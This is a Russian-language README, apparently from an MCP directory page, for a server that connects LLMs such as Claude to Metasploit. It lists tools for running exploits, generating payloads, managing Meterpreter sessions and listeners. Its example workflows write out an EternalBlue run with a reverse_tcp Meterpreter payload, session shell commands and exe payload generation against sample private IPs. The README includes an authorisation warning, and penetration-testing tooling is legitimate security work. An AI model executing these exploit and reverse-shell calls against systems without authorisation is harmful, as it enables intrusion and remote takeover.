Skip to main content
Glama

Metasploit MCP-сервер

Сервер Model Context Protocol (MCP) для интеграции Metasploit Framework.

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

Описание

Этот сервер MCP обеспечивает мост между большими языковыми моделями, такими как Claude, и платформой тестирования на проникновение Metasploit Framework. Он позволяет помощникам ИИ динамически получать доступ и управлять функциональностью Metasploit с помощью стандартизированных инструментов, обеспечивая интерфейс на естественном языке для сложных рабочих процессов тестирования безопасности.

Related MCP server: Vibehacker Metasploit MCP

Функции

Информация о модуле

  • list_exploits : Поиск и составление списка доступных модулей эксплойтов Metasploit

  • list_payloads : Поиск и составление списка доступных модулей полезной нагрузки Metasploit с дополнительной фильтрацией по платформам и архитектурам

Рабочий процесс эксплуатации

  • run_exploit : настроить и выполнить эксплойт против цели с возможностью предварительного запуска проверок

  • run_auxiliary_module : запуск любого вспомогательного модуля Metasploit с пользовательскими параметрами

  • run_post_module : Выполнение модулей пост-эксплуатации для существующих сеансов

Генерация полезной нагрузки

  • generate_payload : Генерация файлов полезной нагрузки с помощью Metasploit RPC (сохраняет файлы локально)

Управление сеансом

  • list_active_sessions : Показать текущие сеансы Metasploit с подробной информацией

  • send_session_command : запуск команды в активной оболочке или сеансе Meterpreter

  • terminate_session : Принудительно завершить активный сеанс

Управление обработчиками

  • list_listeners : Показать все активные обработчики и фоновые задания

  • start_listener : создать новый multi/handler для приема подключений

  • stop_job : завершить любое запущенное задание или обработчик

Предпосылки

  • Metasploit Framework установлен и msfrpcd запущен

  • Python 3.10 или выше

  • Необходимые пакеты Python (см. requirements.txt)

Установка

  1. Клонировать этот репозиторий

  2. Установить зависимости:

    pip install -r requirements.txt
  3. Настройте переменные среды (необязательно):

    MSF_PASSWORD=yourpassword MSF_SERVER=127.0.0.1 MSF_PORT=55553 MSF_SSL=false PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads

Использование

Запустите службу Metasploit RPC:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

Варианты транспорта

Сервер поддерживает два метода транспортировки:

  • HTTP/SSE (события, отправленные сервером) : режим по умолчанию для взаимодействия с большинством клиентов MCP

  • STDIO (стандартный ввод/вывод) : используется с Claude Desktop и аналогичными прямыми трубными соединениями.

Вы можете явно выбрать режим транспорта с помощью флага --transport :

# Run with HTTP/SSE transport (default) python MetasploitMCP.py --transport http # Run with STDIO transport python MetasploitMCP.py --transport stdio

Дополнительные параметры для режима HTTP:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Интеграция рабочего стола Клода

Для интеграции Claude Desktop настройте claude_desktop_config.json :

{ "mcpServers": { "metasploit": { "command": "uv", "args": [ "--directory", "C:\\path\\to\\MetasploitMCP", "run", "MetasploitMCP.py", "--transport", "stdio" ], "env": { "MSF_PASSWORD": "yourpassword" } } } }

Другие клиенты MCP

Для других клиентов MCP, использующих HTTP/SSE:

  1. Запустите сервер в режиме HTTP:

    python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
  2. Настройте свой клиент MCP для подключения к:

    • Конечная точка SSE: http://your-server-ip:8085/sse

Соображения безопасности

⚠️ ВАЖНОЕ ПРЕДУПРЕЖДЕНИЕ О БЕЗОПАСНОСТИ :

Этот инструмент обеспечивает прямой доступ к возможностям Metasploit Framework, которые включают мощные функции эксплуатации. Используйте ответственно и только в средах, где у вас есть явное разрешение на выполнение тестирования безопасности.

  • Всегда проверяйте и пересматривайте все команды перед выполнением.

  • Запускать только в отдельных тестовых средах или при наличии соответствующего разрешения.

  • Помните, что команды после эксплуатации могут привести к значительным изменениям в системе.

Примеры рабочих процессов

Базовая эксплуатация

  1. Список доступных эксплойтов: list_exploits("ms17_010")

  2. Выберите и запустите эксплойт: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})

  3. Список сеансов: list_active_sessions()

  4. Выполнить команды: send_session_command(1, "whoami")

Пост-эксплуатация

  1. Запустить пост-модуль: run_post_module("windows/gather/enum_logged_on_users", 1)

  2. Отправка пользовательских команд: send_session_command(1, "sysinfo")

  3. Завершить по завершении: terminate_session(1)

Управление обработчиками

  1. Запустить прослушиватель: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)

  2. Список активных обработчиков: list_listeners()

  3. Сгенерировать полезную нагрузку: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})

  4. Остановить обработчик: stop_job(1)

Параметры конфигурации

Каталог сохранения полезной нагрузки

По умолчанию полезные данные, сгенерированные с помощью generate_payload сохраняются в каталоге payloads в вашей домашней папке ( ~/payloads или C:\Users\YourUsername\payloads ). Вы можете настроить это местоположение, установив переменную среды PAYLOAD_SAVE_DIR .

Установка переменной среды:

  • Windows (PowerShell) :

    $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  • Windows (командная строка) :

    set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  • Linux/macOS :

    export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  • В конфигурации Claude Desktop :

    "env": { "MSF_PASSWORD": "yourpassword", "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default }

Примечание: Если вы указываете пользовательский путь, убедитесь, что он существует или у приложения есть разрешение на его создание. Если путь недействителен, генерация полезной нагрузки может завершиться неудачей.

Лицензия

Апач 2.0

-
security - not tested
A
license - permissive license
-
quality - not tested

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/GH05TCREW/MetasploitMCP'

If you have feedback or need assistance with the MCP directory API, please join our Discord server